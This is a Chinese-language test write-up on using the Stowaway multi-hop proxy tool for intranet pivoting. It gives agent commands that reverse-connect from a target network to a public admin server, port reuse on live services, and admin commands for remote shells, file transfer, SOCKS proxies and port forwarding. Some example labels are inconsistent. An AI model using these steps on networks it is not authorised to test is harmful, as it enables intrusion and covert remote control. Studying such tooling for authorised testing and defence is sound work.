Stowaway多节点内网穿透测试记录

Stowaway多节点内网穿透测试记录

最近看到个代理工具,感觉还不错,所以做了下记录。Stowaway是一个利用go语言编写的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,并实现管理功能。测试以后发现这个工具的优点除了多层内网中继代理以外以及管理以外,还具有稳定、多种方式进行隧道连接的特点, 节点间的流量也是以AES-256(CBC模式)进行加密 。缺点也很明显,客户端竟然有5M大,在实战中,确实过于庞大了。不过最重要的还是在于趁手,特定情况下,还是能提供一个不错的选择。

项目地址: https://github.com/ph4ntonn/Stowaway

Stowaway分为admin端和agent端两种形式

第一种情况,Admin端监听,等待startnode连接。可以理解为将目标内网反向连接到我们的公网服务器上。

Admin端:

1
./stowaway_admin -l 9999 -s scantime

Startnode端:

1
.\windows_x64_agent.exe -m 59.111.91.147:9999 -l 10000 --startnode -s scantime --reconnect 5

 –startnode 代表此节点是agent端的第一个节点(开始节点必须加上该参数,若无该参数表示为普通节点)

  –reconnect 代表startnode将在admin下线后主动尝试不断重连(此例子中为每5秒重连一次)注意:若需要重连功能,只需要在startnode使用此参数即可,其后节点无需此参数,正常启动即可。

此时若后续的节点希望以passive模式启动(即本节点等待上一级节点的主动连接,而不是主动连接上一节点)

那么,上述startnode命令可改为

Admin端:

1
./stowaway_agent -m 59.111.91.147:9999 --startnode -s scantime --reconnect 5

Startnode端:

1
2
\windows_x64_agent.exe -m 59.111.91.147:9999 -l 10000 --startnode -s scantime --reconnect 5
./linux_x86_agent -m 192.168.253.113:10000 -l 10001 --startnode -s scantime --reconnect 5

端口复用:

  1. 当前Stowaway提供基于SO_REUSEPORT和SO_REUSEADDR特性的端口复用功能及基于iptables的端口复用功能;
  2. 在linux下可以大部分的功能端口
  3. 在windows下不可复用iis,rdp端口,可以复用mysql,apache服务的端口
  4. nginx在默认状态下不可复用

example:

1
2
3
admin端:./stowaway_admin -c 192.168.0.105:80 -s 123 –rhostreuse
startnode端:./stowaway_agent -s 123 --startnode --report 80 --rehost 192.168.0.105
后续节点:./stowaway_agent -s 123 -m 192.168.0.105:80 --rhostreuse

参数解析:

1
2
3
4
5
6
7
8
-m 代表上一级节点的地址
-l 代表监听端口(如果不需要监听,也可直接省略)
-s 参数代表节点通信加密密钥(admin端与agent端必须一致!)
-r 以passive模式启动
-c startnode所在地址
--rhostreuse  开启端口复用模式(在admin端开启)
--report 80  端口复用80端口(在startnode端使用)
--rehost  复用端口时需要监听的本机ip

命令解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
use 1   使用节点1
connect   连接后续节点,需要在admin端的passive模式下使。如:connect 127.0.0.1:1000
tree        查看网络结构
detail  查看节点详细信息
addnote 添加备注
delnote 删除备注
shell       打开shell
socks 1080  开启socks(socks5)代理,端口为1080。如果需要设置密码:socks 1080 user password
stopsocks   关闭socks代理
ssh 192.168.1.1:22 开启ssh
sshtunnel   开启ssh隧道(当防护设备对流量进行控制,仅ssh可通行时,可用该方法将新的节点加入到拓扑中)
upload ../test.txt  上传文件
download ../test.txt    下载文件
forward 2222 127.0.0.1:22   将本地端口转发到远程端口
stopforward 关闭端口转发
reflect 22 80   将远程端口转发到本地
stopreflect 关闭远程端口转发
sock代理

DEMO